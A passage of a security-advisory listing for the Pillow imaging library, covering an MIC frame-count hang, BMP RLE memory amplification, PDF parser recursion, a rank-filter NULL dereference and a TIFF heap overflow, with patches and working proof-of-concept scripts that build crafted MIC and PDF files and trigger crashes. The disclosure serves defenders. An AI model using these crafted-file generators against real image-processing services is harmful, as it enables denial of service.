a mini-FAT. The result is 5632 bytes. It runs three inputs, each in its own child process with a hard 20-second kill: 1. control: the plain 3-page TIFF. Expected `TIFF n_frames = 3`. 2. control: a MIC wrapping a 1-page TIFF. Expected `MIC n_frames = 1`. 3. attack: the same MIC container wrapping the 3-page TIFF. The timeout is enforced by killing the child rather than by an in-process alarm, because a `TimeoutError` raised while `ImageFileDirectory_v2.load()` is parsing would be caught by its `except OSError` (`TiffImagePlugin.py:958`) and leave the IFD half-parsed instead of stopping the loop. The script prints `BUG` when both controls return and the attack child is still running after 20 seconds; otherwise it prints `OK`. With the attached patch applied, the attack case prints `MIC n_frames = 1` and the script prints `OK`. ##### Suggested fix The attached patch restores the OLE-level frame count after the embedded TIFF stream has been opened, so the inherited `n_frames` never enters its IFD-walking loop and `n_frames`/`seek()` agree on what a frame is. In `MicImageFile.seek`, `src/PIL/MicImagePlugin.py:82`, right after `TiffImagePlugin.TiffImageFile._open(self)`: ```diff TiffImagePlugin.TiffImageFile._open(self) + # TiffImageFile._open() resets the frame count to that of the + # embedded TIFF stream, but the frames of an MIC file are its streams + self._n_frames = len(self.images) + self.is_animated = self._n_frames > 1 + self.frame = frame ``` Doing this in `seek()` restores the invariant on every seek, not only the first. The existing assignments at lines 69–70 of `_open` are kept: the initial `seek(0)` → `_seek_check(0)` reads `n_frames` before `TiffImageFile._open` has run, so they are still needed. Plain read-only `n_frames`/`is_animated` properties, as before 0b33a87b0, are no longer a drop-in option because `TiffImageFile._seek` assigns `self.is_animated`. With the patch applied to a clean tree and rebuilt, the attack file returns `n_frames == 1` immediately, a 2-IFD stream raises `EOFError` on `seek(1)` instead of `IndexError`, `save_all=True` to TIFF and PDF completes, and `Tests/test_file_mic.py` and `Tests/test_file_tiff.py` pass. No regression test is included, since one would need a new binary MIC fixture in `Tests/images`. The patch passed that check but has not been reviewed beyond it as the final form of the fix. Two things it leaves alone: it does not add the `_im` reset that `TiffImageFile.seek` performs after `_seek` (`TiffImagePlugin.py:1229`), which matters when switching between OLE streams of different size or mode; and `TiffImageFile.n_frames` still advances via the overridable `tell()` rather than its private `__frame`, so making it iterate on `__frame` would protect any other subclass that redefines `tell()`. ##### The patch Restore the OLE stream frame count in MicImageFile.seek() after TiffImageFile._open() resets it, so n_frames cannot loop forever Applies to `src/PIL/MicImagePlugin.py` at the commit above. It passed the mechanical check — applied to a clean tree, rebuilt, the reproducer stopped firing — but a reviewer did not endorse it as the right fix. ```diff diff --git a/src/PIL/MicImagePlugin.py b/src/PIL/MicImagePlugin.py index f8cf3a76f..2bb0109ce 100644 --- a/src/PIL/MicImagePlugin.py +++ b/src/PIL/MicImagePlugin.py @@ -81,6 +81,11 @@ class MicImageFile(TiffImagePlugin.TiffImageFile): TiffImagePlugin.TiffImageFile._open(self) + # TiffImageFile._open() resets the frame count to that of the + # embedded TIFF stream, but the frames of an MIC file are its streams + self._n_frames = len(self.images) + self.is_animated = self._n_frames > 1 + self.frame = frame def tell(self) -> int: ``` ##### The reproducer <details> <summary>Reproducer — <code>repro</code>, 2,330 bytes (click to open)</summary> Its last line is `BUG` when the issue triggers and `OK` when it does not. Re-run on a clean build of that commit it printed `BUG`. ```python #!/usr/bin/env python3 ##### MicImageFile inherits TiffImageFile.n_frames, whose loop `self._seek(self.tell()+1)` ##### relies on tell() advancing; MicImageFile.tell() returns the OLE stream index (constant), ##### so a MIC file whose Image stream is a TIFF with >=3 chained IFDs makes im.n_frames spin forever. import io, struct, subprocess, sys, tempfile, os from PIL import Image def tiff(n): # n-page TIFF written by Pillow itself b = io.BytesIO(); fr = [Image.new("L", (4, 4), i) for i in range(n)] fr[0].save(b, "TIFF", save_all=True, append_images=fr[1:]); return b.getvalue() def mic(stream): # minimal OLE2 file: storage "img0.ACI" containing stream "Image" END, FREE, FATSECT = 0xFFFFFFFE, 0xFFFFFFFF, 0xFFFFFFFD data = stream.ljust(4096, b"\0"); n = len(data) // 512 fat = [FATSECT, END] + [3 + k for k in range(n - 1)] + [END]; fat += [FREE] * (128 - len(fat)) def entry(name, kind, child, start, size): raw = name.encode("utf-16-le") + b"\0\0" return raw.ljust(64, b"\0") + struct.pack("<HBBiii", len(raw), kind, 1, -1, -1, child) + b"\0"*36 + struct.pack("<III", start, size, 0) d = entry("Root Entry", 5, 1, END, 0) + entry("img0.ACI", 1, 2, 0, 0) + entry("Image", 2, -1, 2, len(data)) + b"\0"*128 hdr = (b"\xd0\xcf\x11\xe0\xa1\xb1\x1a\xe1" + b"\0"*16 + struct.pack("<HHHHH6x", 0x3E, 3, 0xFFFE, 9, 6) + struct.pack("<9I", 0, 1, 1, 0, 4096, END, 0, END, 0) + struct.pack("<I", 0) + b"\xff"*432) return hdr + struct.pack("<128I", *fat) + d + data CHILD = "import sys;from PIL import Image;im=Image.open(sys.argv[1]);print(im.format, 'n_frames =', im.n_frames)" def run(label, data, limit=20): p = os.path.join(tempfile.mkdtemp(), "x"); open(p, "wb").write(data) try: r = subprocess.run([sys.executable, "-c", CHILD, p], capture_output=True, text=True, timeout=limit) out = (r.stdout.strip() or r.stderr.strip().splitlines()[-1]); hung = False except subprocess.TimeoutExpired: out, hung = f"STILL RUNNING after {limit}s (killed)", True print(f"{label:32s} {len(data):6d} bytes -> {out}"); return hung c1 = run("control: 3-page TIFF, direct", tiff(3)) c2 = run("control: MIC around 1-page TIFF", mic(tiff(1))) bug = run("attack: MIC around 3-page TIFF", mic(tiff(3))) print("BUG" if bug and not c1 and not c2 else "OK") ``` </details> --- #### Severity - CVSS Score: 8.2 / 10 (High) - Vector String: `CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N` #### References - [https://github.com/python-pillow/Pillow/security/advisories/GHSA-22hg-r758-rrw9](https://github.com/python-pillow/Pillow/security/advisories/GHSA-22hg-r758-rrw9) - [https://nvd.nist.gov/vuln/detail/CVE-2026-112390](https://nvd.nist.gov/vuln/detail/CVE-2026-112390) - [https://github.com/python-pillow/Pillow/commit/26cb3ed061173b817b9ee4b6f507cb0e1e293218](https://github.com/python-pillow/Pillow/commit/26cb3ed061173b817b9ee4b6f507cb0e1e293218) - [https://github.com/python-pillow/Pillow](https://github.com/python-pillow/Pillow) - [https://github.com/python-pillow/Pillow/releases/tag/13.0.0](https://github.com/python-pillow/Pillow/releases/tag/13.0.0) This data is provided by [OSV](https://osv.dev/vulnerability/GHSA-22hg-r758-rrw9) and the [GitHub Advisory Database](https://github.com/github/advisory-database) ([CC-BY 4.0](https://github.com/github/advisory-database/blob/main/LICENSE.md)). </details> --- ### Pillow: BMP RLE decoder memory-amplification DoS via unbounded delta escape / absolute mode BIT-pillow-2026-96638 / [CVE-2026-96638](https://nvd.nist.gov/vuln/detail/CVE-2026-96638) / [GHSA-24rc-8hj2-v98c](https://github.com/advisories/GHSA-24rc-8hj2-v98c) <details> <summary>More information</summary> #### Details ##### Summary BmpRleDecoder can be forced to allocate gigabytes of memory from a kilobyte-sized crafted BMP file via unbounded growth in the delta escape and absolute mode branches. ##### Affected versions All versions up to and including current HEAD (v13.0.0.dev0, commit e7a7ea84) ##### Root cause BmpRleDecoder.decode() (BmpImagePlugin.py:327-395) builds a Python bytearray `data` with dest_length = xsize*ysize, looping `while len(data) < dest_length`. The loop condition is only checked at the TOP; individual branches append attacker-controlled amounts UNBOUNDED by dest_length: - delta escape (line 370): data += b"\x00" * (right + up * self.state.xsize) with right,up in 0..255 -> up to ~255*xsize bytes in ONE iteration. - absolute mode (line 385): data += bytes_read (up to 255). Because a single delta can push len(data) to ~256 * (row size), a tiny RLE stream combined with a large-but-legal xsize (xsize*ysize just under MAX_IMAGE_PIXELS, ~89M) yields a multi-GB `data` bytearray (then copied again by bytes(data) and set_as_raw). No heap OOB (bytearray/set_as_raw are bounds-safe), but a severe memory-amplification DoS: the attacker file stays tiny. ##### Reproduction Python 3.13, Pillow HEAD e7a7ea84 Attached: pillow_poc_bmp_rle_dos.py A 1084-byte BMP (BI_RLE8, width=3,000,000, height=1 -> 3M px, passes bomb check) with one delta escape (00 02 00 150) produces ~429 MB `data`; measured peak RSS 911 MB. Scaling width toward the bomb limit and up=255 produces tens of GB from a ~1 KB file. ##### Suggested fix Cap growth at dest_length in the delta and absolute branches, e.g. clamp the delta fill to (dest_length - len(data)) and stop appending once len(data) >= dest_length; reject deltas that would move the cursor beyond the image, matching the existing per-row clamp at line 341-343. Credit: Yazan Balawneh - CyStack Security Team (GitHub: sonicnew) [pillow_poc_bmp_rle_dos.py](https://github.com/user-attachments/files/30244974/pillow_poc_bmp_rle_dos.py) #### Severity - CVSS Score: 6.5 / 10 (Medium) - Vector String: `CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H` #### References - [https://github.com/python-pillow/Pillow/security/advisories/GHSA-24rc-8hj2-v98c](https://github.com/python-pillow/Pillow/security/advisories/GHSA-24rc-8hj2-v98c) - [https://nvd.nist.gov/vuln/detail/CVE-2026-96638](https://nvd.nist.gov/vuln/detail/CVE-2026-96638) - [https://github.com/python-pillow/Pillow/pull/10015](https://github.com/python-pillow/Pillow/pull/10015) - [https://github.com/python-pillow/Pillow/commit/e7794835e323ff2691d9b3a974cade1a44301b9a](https://github.com/python-pillow/Pillow/commit/e7794835e323ff2691d9b3a974cade1a44301b9a) - [https://github.com/python-pillow/Pillow](https://github.com/python-pillow/Pillow) - [https://github.com/python-pillow/Pillow/releases/tag/13.0.0](https://github.com/python-pillow/Pillow/releases/tag/13.0.0) This data is provided by [OSV](https://osv.dev/vulnerability/GHSA-24rc-8hj2-v98c) and the [GitHub Advisory Database](https://github.com/github/advisory-database) ([CC-BY 4.0](https://github.com/github/advisory-database/blob/main/LICENSE.md)). </details> --- ### Pillow: PdfParser can recurse without limit in get_value() and linearize_page_tree() BIT-pillow-2026-112391 / [CVE-2026-112391](https://nvd.nist.gov/vuln/detail/CVE-2026-112391) / [GHSA-254f-3936-288h](https://github.com/advisories/GHSA-254f-3936-288h) <details> <summary>More information</summary> #### Details ##### Summary `PdfParser`'s `get_value()` can recurse without any limit and crash with an uncaught `RecursionError`. It is reachable through `Image.save(im, fp=<pdf>, format="PDF", append=True)` when the existing PDF file is attacker-controlled. This is the same class of bug as https://github.com/advisories/GHSA-r73j-pqj5-w3x7 (the /Prev trailer chain loop, fixed earlier this year), in the same file, but in two different functions that fix did not touch. ##### Details **`get_value()` in `src/PIL/PdfParser.py`** This is a classmethod that takes `max_nesting: int = -1` and has a guard: ```python if max_nesting == 0: return None, None ``` Every recursive call (nested arrays, dictionaries, indirect object definitions) passes `max_nesting=max_nesting - 1`. Since the default and every call site start at -1, this only ever counts down further negative: -1, -2, -3, and so on. It never equals exactly 0, so the guard never runs. A PDF object with a value nested a few thousand levels deep is enough to hit Python's recursion limit. It does not even need a valid `/Pages` tree, since `read_pdf_info()` parses the `/Root` object's own dictionary first, before checking anything else. This advisory reports a single vulnerability: an ineffective recursion-depth guard in `PdfParser.get_value()` (the sentinel `-1` default never reaches the `== 0` check). The mention of GHSA-r73j-pqj5-w3x7 is comparative context for an already-fixed, already-CVE'd bug in a different function — it is not a second vulnerability being reported. The three trigger paths (nested arrays/dicts/indirect objects) are not independently fixable; they share one root cause and one fix location in get_value() . ##### Steps to reproduce Both PDFs below are plain text, built directly in Python, no PDF library needed. ```python from PIL.PdfParser import PdfParser def build_pdf(root): out = bytearray(b"%PDF-1.4\n") offset = len(out) out += f"1 0 obj\n".encode() out += root out += b"\nendobj\n" out += b"xref\n" out += f"0 2\n".encode() out += b"0000000000 65535 f \n" out += f"{offset:010d} 00000 ".encode() + b"n \n" xref_offset = len(out) out += b"xref\n" out += f"0 2\n".encode() out += b"0000000000 65535 f \n" out += f"{offset:010d} 00000 ".encode() + b"n \n" out += b"trailer\n" out += f"<< /Size 2 /Root 1 0 R >>\n".encode() out += b"startxref\n" out += f"{xref_offset}\n".encode() out += b"%%EOF" return bytes(out) bomb = b"[" * 3000 + b"]" * 3000 root = b"<< /Type /Catalog /Pages 2 0 R /Bomb " + bomb + b" >>" with open("nesting_bomb.pdf", "wb") as f: f.write(build_pdf(root)) PdfParser("nesting_bomb.pdf") # raises RecursionError ``` Expected: a clean `PdfFormatError`. Actual: raises a raw `RecursionError: maximum recursion depth exceeded`. ##### Impact - Availability: an attacker who controls the content of a PDF file that an application later appends an image page to (`Image.save(..., format="PDF", append=True)`) can crash that request with a RecursionError, using a file of a few hundred bytes. - Confidentiality: none. - Integrity: none. - Pillow cannot open PDFs for reading through `Image.open()`. `PdfParser` is only reached through the append-mode save path, so the app has to be doing that specific thing (for example, stamping or watermarking an existing PDF) for this to matter. #### Severity - CVSS Score: 6.3 / 10 (Medium) - Vector String: `CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:N/VI:N/VA:L/SC:N/SI:N/SA:N` #### References - [https://github.com/python-pillow/Pillow/security/advisories/GHSA-254f-3936-288h](https://github.com/python-pillow/Pillow/security/advisories/GHSA-254f-3936-288h) - [https://nvd.nist.gov/vuln/detail/CVE-2026-112391](https://nvd.nist.gov/vuln/detail/CVE-2026-112391) - [https://github.com/python-pillow/Pillow/commit/94cb11c44ff7345414da17ebfea1598a529ad9cd](https://github.com/python-pillow/Pillow/commit/94cb11c44ff7345414da17ebfea1598a529ad9cd) - [https://github.com/python-pillow/Pillow](https://github.com/python-pillow/Pillow) - [https://github.com/python-pillow/Pillow/releases/tag/13.0.0](https://github.com/python-pillow/Pillow/releases/tag/13.0.0) This data is provided by [OSV](https://osv.dev/vulnerability/GHSA-254f-3936-288h) and the [GitHub Advisory Database](https://github.com/github/advisory-database) ([CC-BY 4.0](https://github.com/github/advisory-database/blob/main/LICENSE.md)). </details> --- ### Pillow: NULL dereference in ImagingExpand via rank filters on zero-size images BIT-pillow-2026-112392 / [CVE-2026-112392](https://nvd.nist.gov/vuln/detail/CVE-2026-112392) / [GHSA-27h8-gf7j-v5hc](https://github.com/advisories/GHSA-27h8-gf7j-v5hc) / PYSEC-2026-4326 <details> <summary>More information</summary> #### Details ``` ============================================================================ NULL dereference in ImagingExpand via rank filters on zero-size images Location: src/libImaging/Filter.c:79 in ImagingExpand() Commit: a707c6b21c313880d0771e54965d142dd42358b6 ============================================================================ ``` Applying Pillow's median, minimum, maximum or rank filter to an image with zero width or zero height crashes the whole Python process instead of raising an error. Empty images like this are easy to produce with ordinary calls, for example a crop box whose left and right edges (or top and bottom edges) are equal, or the second page of a crafted multi-page image file. An attacker who can supply crop coordinates or an uploaded file to an application that runs one of these filters can kill its worker process. The effect is a crash only, with no memory disclosure or corruption. The fault is in `ImagingExpand()` in `src/libImaging/Filter.c`. This is the edge-padding step that `RankFilter.filter()` always runs through the core `expand()` method, so `MedianFilter`, `MinFilter` and `MaxFilter` go through it too. It fills the margin by copying the input's edge pixels, reading `imIn->image[y][0]` and rows `0` / `ysize-1`, and never checks that the input has any pixels. For an empty image, `ImagingAllocateArray` leaves the line pointers NULL, so the first read dereferences NULL and the process dies with SIGSEGV, in every mode. Zero-size images reach this point through public API alone: - `Image.crop()`, `ImageOps.crop()` and `Image.new()`; - a multi-page TIFF opened by path whose second IFD declares `ImageLength = 0`, on which `seek(1)` and `load()` succeed. Every other `ImageFilter` returns an empty image for the same inputs. The zero-height case has crashed since the original PIL import, and the zero-width case since Pillow 4.3.0. This is separate from the `margin == 0` fix in #&#8203;9755: the path is the same, but here the degenerate value is the image size rather than the kernel size. It has the same shape as the zero-dimension `ImagingOffset` crash fixed under GHSA-f87v-9578-p47w. The attached reproducer shows a one-pixel-wide control crop filtering normally, while four empty crops passed through the rank filters are each killed by SIGSEGV. A patch that returns early in `ImagingExpand` for empty input is included. ##### Details `ImagingExpand()` (`src/libImaging/Filter.c`), the edge-padding helper that `ImageFilter.RankFilter` runs before the actual rank filter, reads the first pixel of each input line without checking that the input has any pixels. For an image with width 0 or height 0 the line pointers are NULL, so `Image.filter()` with `MedianFilter`, `MinFilter`, `MaxFilter` or `RankFilter` kills the interpreter with SIGSEGV instead of returning or raising: ```python from PIL import Image, ImageFilter im = Image.new("L", (10, 10)).crop((3, 0, 3, 10)) # size (0, 10); crop() accepts left == right im.filter(ImageFilter.MedianFilter(3)) # SIGSEGV ``` Under gdb on the stock build the fault is at `ImagingExpand (imIn=…, margin=1) at src/libImaging/Filter.c:105` (the `EXPAND(UINT8, image8)` expansion), called from `_expand_image` at `src/_imaging.c:1151`, with `imIn->xsize = 0` and `imIn->image[0] = 0x0`. The same happens for every mode the rank filters accept (`L`, `RGB`, `RGBA`, `I`, `F`), and the core `expand(m)` method with `m >= 1` crashes the same way in any mode, including `P`. The same input through `BoxBlur`, `GaussianBlur`, `Kernel`, `ModeFilter` and `UnsharpMask` returns a `(0, 10)` image; a `(1, 10)` crop through `MedianFilter` also returns normally. The unchecked edge reads date from the PIL import (`9a640e315`, 2010, so every Pillow release): the zero-height case has crashed since then, and the zero-width case since `fd907fbdc` ("Fix 0-width and 0-height images other way", Pillow 4.3.0), which stopped backing zero-width images with a dummy block and left their row pointers NULL. It is adjacent to the `margin == 0` divide-by-zero fix in #&#8203;9755 — same `expand()` → `ImagingExpand()` path, but the unhandled degenerate value here is the image size rather than the kernel size. The path: ```python ##### src/PIL/ImageFilter.py:111-116 RankFilter.filter (MedianFilter/MinFilter/MaxFilter subclass it) image = image.expand(self.size // 2) return image.rankfilter(self.size, self.rank) ``` `expand(m)` with `m > 0` is `ImagingExpand(self->image, m)` (`src/_imaging.c:1142-1151`). It validates only `margin`, allocates an output of `(xsize+2*margin) × (ysize+2*margin)` — which is non-empty, so the allocation succeeds — and then fills the margin by replicating edge pixels of the input: ```c // src/libImaging/Filter.c:70-101 imOut = ImagingNewDirty(imIn->mode, imIn->xsize + 2 * margin, imIn->ysize + 2 * margin); … #define EXPAND_LINE(type, image, yin, yout) \ { \ for (x = 0; x < margin; x++) { \ imOut->image[yout][x] = imIn->image[yin][0]; \ // line 79 } \ … \ for (x = 0; x < margin; x++) { \ imOut->image[yout][margin + imIn->xsize + x] = \ imIn->image[yin][imIn->xsize - 1]; \ // [-1] when xsize == 0 } \ } #define EXPAND(type, image) \ { \ for (y = 0; y < margin; y++) { \ EXPAND_LINE(type, image, 0, y); \ // line 0 of a 0-line image } \ … for (y = 0; y < margin; y++) { \ EXPAND_LINE(type, image, imIn->ysize - 1, margin + imIn->ysize + y); \ // line -1 when ysize == 0 } \ } ``` Why the line pointers are NULL: `ImagingNewPrologueSubtype` callocs the `im->image` pointer array (`src/libImaging/Storage.c:216`, at least one entry), and `ImagingAllocateArray` returns before assigning any of them for an empty image: ```c // src/libImaging/Storage.c:423-426 /* 0-width or 0-height image. No need to do anything */ if (!im->linesize || !im->ysize) { return im; } ``` So with `xsize == 0` every `imIn->image[y]` is NULL and `imIn->image[yin][0]` faults; with `ysize == 0` the top-margin pass reads `imIn->image[0]` (the single calloc'd NULL slot) and faults the same way, and the bottom-margin pass would index `imIn->image[-1]`. `ImagingRankFilter` is never reached. Zero-size images are ordinary objects in Pillow and arrive at `filter()` through public API only: - `Image.crop(box)` rejects only inverted boxes (`src/PIL/Image.py:1385-1390`); `left == right` or `upper == lower` yields a 0×N / N×0 image. `ImageOps.crop(im, border)` with `border == width // 2`, and `Image.new(mode, (0, n))`, do the same. - From a file: `ImageFile.__init__` refuses a zero first-frame size (`src/PIL/ImageFile.py:167-173`), but `TiffImagePlugin._setup()` takes `ImageWidth`/`ImageLength` of every later IFD as-is on `seek()` (`src/PIL/TiffImagePlugin.py:1468-1481`). For an uncompressed page of an image opened by path, `ImageFile.load()` takes the mmap branch (`src/PIL/ImageFile.py:307, 325-347`) and `Image.core.map_buffer` builds an `8×0` core image without complaint (`src/map.c:127-141`), so `im.seek(1); im.load()` succeeds and a following `im.filter(ImageFilter.MedianFilter(3))` segfaults in `ImagingExpand` exactly as above (verified under gdb: `imIn->ysize = 0`, `imIn->image[0] = 0x0`). A 384-byte two-page TIFF is enough. ##### Impact Denial of service: the whole embedding process (web worker, pipeline process) dies with SIGSEGV rather than the request failing with a Python exception. It is reachable by a remote user in two realistic shapes: (a) an application that crops an upload to user-supplied coordinates and then applies a median/min/max filter (denoise, dilate/erode, thumbnail clean-up) — a box with `x0 == x1` or `y0 == y1` passes `crop()` and crashes the worker; (b) an application that opens an uploaded TIFF from disk by path, iterates its pages and applies a rank filter to each — a crafted second IFD with `ImageLength = 0` crashes it. The faulting access is a read at address 0 (or a fixed small negative offset from the pointer array for the `[-1]` cases, which is not reached because the first read already faults), so there is no memory disclosure or corruption beyond the crash. The same shape, a zero-dimension image crashing C code reached through public API, was fixed in `ImagingOffset` in 39d14a0db (GHSA-f87v-9578-p47w). ##### Reproducing `repro` is a single Python script that uses the installed Pillow as-is (no rebuild). It runs each case in a fresh child interpreter, with core dumps disabled. That way a segfault shows up as the child's exit status and the script itself keeps running. Each child builds `Image.new("L", (10, 10)).crop(box)`, prints its size, calls `im.filter(...)` and then prints the size of the result. - **Control**: a `(1, 10)` crop (`(3, 0, 4, 10)`) through `MedianFilter(3)`. The rank filter accepts a thin image and must return normally. - **PoC**: the rank filters on empty crops. - A `(0, 10)` crop (`left == right`, `(3, 0, 3, 10)`) through `MedianFilter(3)` and `MaxFilter(5)`. - A `(10, 0)` crop (`upper == lower`, `(0, 3, 10, 3)`) through `MinFilter(3)`. - A `(0, 0)` crop (`(3, 3, 3, 3)`) through `RankFilter(3, 4)`. Expected output on the stock build: ``` crop(3, 0, 4, 10) MedianFilter(3) (1, 10) -> (1, 10) crop(3, 0, 3, 10) MedianFilter(3) (0, 10) -> killed by SIGSEGV crop(3, 0, 3, 10) MaxFilter(5) (0, 10) -> killed by SIGSEGV crop(0, 3, 10, 3) MinFilter(3) (10, 0) -> killed by SIGSEGV crop(3, 3, 3, 3) RankFilter(3, 4) (0, 0) -> killed by SIGSEGV BUG ``` The size printed before `->` shows that the empty image was created without error. The crash happens inside `filter()`, in `ImagingExpand`. The last line is `BUG` if the control returned normally and at least one rank-filter child was killed by SIGSEGV. Otherwise it is `OK`. The script covers the crop route only; the TIFF route described above fails the same way (`im.seek(1); im.load(); im.filter(ImageFilter.MedianFilter(3))` on a by-path two-page TIFF whose second IFD has `ImageLength = 0`). With the attached patch, every PoC line prints the unchanged size (for example `(0, 10) -> (0, 10)`) and the script prints `OK`. ##### Suggested fix The attached patch handles the empty input in `ImagingExpand` (`src/libImaging/Filter.c`), right after the `margin` checks and before the `ImagingNewDirty` allocation and the replication loops. With `xsize == 0` or `ysize == 0` there are no edge pixels to replicate, so it returns a zeroed (`ImagingNew`, not `ImagingNewDirty`) image of the expanded size, with the input's palette copied. This keeps `ImagingExpand`'s size contract, so `ImagingRankFilter` then produces an output of `xsize - 2*margin` × `ysize - 2*margin`, i.e. the original empty size, matching every other filter. It mirrors the existing zero-dimension early returns in `src/libImaging/BoxBlur.c` (127004368) and `src/libImaging/Offset.c` (39d14a0db): ```diff --- a/src/libImaging/Filter.c +++ b/src/libImaging/Filter.c @@ -67,6 +67,17 @@ ImagingExpand(Imaging imIn, int margin) { return (Imaging)ImagingError_ValueError("filter size too large"); } + if (imIn->xsize == 0 || imIn->ysize == 0) { + /* No edge pixels to replicate (and no lines to read from), so + return a zeroed image of the expanded size */ + imOut = ImagingNew(imIn->mode, imIn->xsize + 2 * margin, imIn->ysize + 2 * margin); + if (!imOut) { + return NULL; + } + ImagingCopyPalette(imOut, imIn); + return imOut; + } + imOut = ImagingNewDirty(imIn->mode, imIn->xsize + 2 * margin, imIn->ysize + 2 * margin); if (!imOut) { ``` The patch also adds `test_rankfilter_zero_dimension` next to `test_rankfilter_error` in `Tests/test_image_filter.py`, which filters `Image.new("L", size)` for `size` in `((0, 6), (6, 0), (0, 0))` with `MinFilter`, `MedianFilter`, `MaxFilter` and `RankFilter(3, 2)` and asserts the size is preserved. Applied to a clean checkout and rebuilt, the reproducer prints `OK` and `Tests/test_image_filter.py` passes. A Python-level guard in `RankFilter.filter` (`if 0 in image.size: return image.copy()`) would also stop the crash, but the C-level check protects any other caller of `expand()`. ##### The patch Return a zeroed image from ImagingExpand when the input has zero width or height instead of reading NULL line pointers Applies to `src/libImaging/Filter.c` at the commit above. ```diff diff --git a/Tests/test_image_filter.py b/Tests/test_image_filter.py index 974d4b7a3..8dc8e1a1a 100644 --- a/Tests/test_image_filter.py +++ b/Tests/test_image_filter.py @@ -155,6 +155,23 @@ def test_rankfilter_error(filter: ImageFilter.RankFilter) -> None: im.filter(filter).getpixel((1, 1)) +@pytest.mark.parametrize( + "filter", + ( + ImageFilter.MinFilter, + ImageFilter.MedianFilter, + ImageFilter.MaxFilter, + ImageFilter.RankFilter(3, 2), + ), +) +@pytest.mark.parametrize("size", ((0, 6), (6, 0), (0, 0))) +def test_rankfilter_zero_dimension( + filter: ImageFilter.RankFilter, size: tuple[int, int] +) -> None: + im = Image.new("L", size) + assert im.filter(filter).size == size + + def test_rankfilter_properties() -> None: rankfilter = ImageFilter.RankFilter(3, 2) diff --git a/src/libImaging/Filter.c b/src/libImaging/Filter.c index 3492a871f..d702db5f9 100644 --- a/src/libImaging/Filter.c +++ b/src/libImaging/Filter.c @@ -67,6 +67,17 @@ ImagingExpand(Imaging imIn, int margin) { return (Imaging)ImagingError_ValueError("filter size too large"); } + if (imIn->xsize == 0 || imIn->ysize == 0) { + /* No edge pixels to replicate (and no lines to read from), so + return a zeroed image of the expanded size */ + imOut = ImagingNew(imIn->mode, imIn->xsize + 2 * margin, imIn->ysize + 2 * margin); + if (!imOut) { + return NULL; + } + ImagingCopyPalette(imOut, imIn); + return imOut; + } + imOut = ImagingNewDirty(imIn->mode, imIn->xsize + 2 * margin, imIn->ysize + 2 * margin); if (!imOut) { ``` ##### The reproducer <details> <summary>Reproducer — <code>repro</code>, 1,333 bytes (click to open)</summary> Its last line is `BUG` when the issue triggers and `OK` when it does not. Re-run on a clean build of that commit it printed `BUG`. ```python #!/usr/bin/env python3 ##### Pillow: rank filters (Median/Min/Max/RankFilter) on a 0-wide or 0-high image ##### SIGSEGV in ImagingExpand (src/libImaging/Filter.c) - NULL line pointer read. ##### Each case runs in a child interpreter; BUG if the control returns and any ##### zero-size case dies of SIGSEGV. import signal, subprocess, sys CHILD = """ import resource; resource.setrlimit(resource.RLIMIT_CORE, (0, 0)) from PIL import Image, ImageFilter im = Image.new("L", (10, 10)).crop(%s) # public API; crop accepts x0==x1 / y0==y1 print(im.size, "->", end=" ", flush=True) print(im.filter(ImageFilter.%s).size) """ def run(box, flt): p = subprocess.run([sys.executable, "-c", CHILD % (box, flt)], capture_output=True, text=True) out = p.stdout.strip() if p.returncode < 0: out += " killed by " + signal.Signals(-p.returncode).name print(f" crop{box!s:<16} {flt:<18} {out}") return p.returncode ctrl = run((3, 0, 4, 10), "MedianFilter(3)") # (1,10): must work rcs = [run((3, 0, 3, 10), "MedianFilter(3)"), # (0,10) run((3, 0, 3, 10), "MaxFilter(5)"), run((0, 3, 10, 3), "MinFilter(3)"), # (10,0) run((3, 3, 3, 3), "RankFilter(3, 4)")] # (0,0) bug = ctrl == 0 and any(rc == -signal.SIGSEGV for rc in rcs) print("BUG" if bug else "OK") ``` </details> --- #### Severity - CVSS Score: 8.2 / 10 (High) - Vector String: `CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N` #### References - [https://github.com/python-pillow/Pillow/security/advisories/GHSA-27h8-gf7j-v5hc](https://github.com/python-pillow/Pillow/security/advisories/GHSA-27h8-gf7j-v5hc) - [https://nvd.nist.gov/vuln/detail/CVE-2026-112392](https://nvd.nist.gov/vuln/detail/CVE-2026-112392) - [https://github.com/python-pillow/Pillow/commit/443e3130a8c11594fd0e296afad497e11e678961](https://github.com/python-pillow/Pillow/commit/443e3130a8c11594fd0e296afad497e11e678961) - [https://github.com/python-pillow/Pillow](https://github.com/python-pillow/Pillow) - [https://github.com/python-pillow/Pillow/releases/tag/13.0.0](https://github.com/python-pillow/Pillow/releases/tag/13.0.0) This data is provided by [OSV](https://osv.dev/vulnerability/GHSA-27h8-gf7j-v5hc) and the [GitHub Advisory Database](https://github.com/github/advisory-database) ([CC-BY 4.0](https://github.com/github/advisory-database/blob/main/LICENSE.md)). </details> --- ### Pillow: Heap buffer overflow in _tiffWriteProc when saving TIFF to BytesIO BIT-pillow-2026-112393 / [CVE-2026-112393](https://nvd.nist.gov/vuln/detail/CVE-2026-112393) / [GHSA-332p-7hrc-92wf](https://github.com/advisories/GHSA-332p-7hrc-92wf) <details> <summary>More information</summary> #### Details ``` ============================================================================ Heap buffer overflow in _tiffWriteProc when saving TIFF to BytesIO Location: src/libImaging/TiffDecode.c:94 in _tiffWriteProc() Commit: a707c6b21c313880d0771e54965d142dd42358b6 ============================================================================ ``` Pillow can write attacker-chosen data past the end of a heap buffer when it saves a TIFF image to an in-memory destination such as `io.BytesIO` rather than to a file. The same code also copies leftover heap memory from the process into the saved file. Anyone who can supply an image to a service that opens it and re-saves it as TIFF this way can trigger this with default settings. The attached reproducer crashes the process, and the overflow could potentially be developed further, but code execution is not demonstrated here. The bug is in `_tiffWriteProc` in `src/libImaging/TiffDecode.c`. This is the write callback for the in-memory sink that Pillow gives libtiff whenever the save target has no `fileno()`. While writing the directory, libtiff seeks past the current end of data and writes tag values there. `_tiffWriteProc` sizes its `realloc()` from `state->size + size` instead of from the write position `state->loc`. As a result, the first out-of-line tag value written after that seek can run past the allocation by up to the size of the directory: 12 bytes per entry, 126 bytes in the minimal case, and 2384 bytes observed with a 331-entry directory. The overflowing bytes are the tail of a tag value taken from the uploaded file. No save options are needed, because compression and tags are inherited from the source image. The overflow does require an attacker-sized out-of-line tag to reach libtiff. That happens when the opened 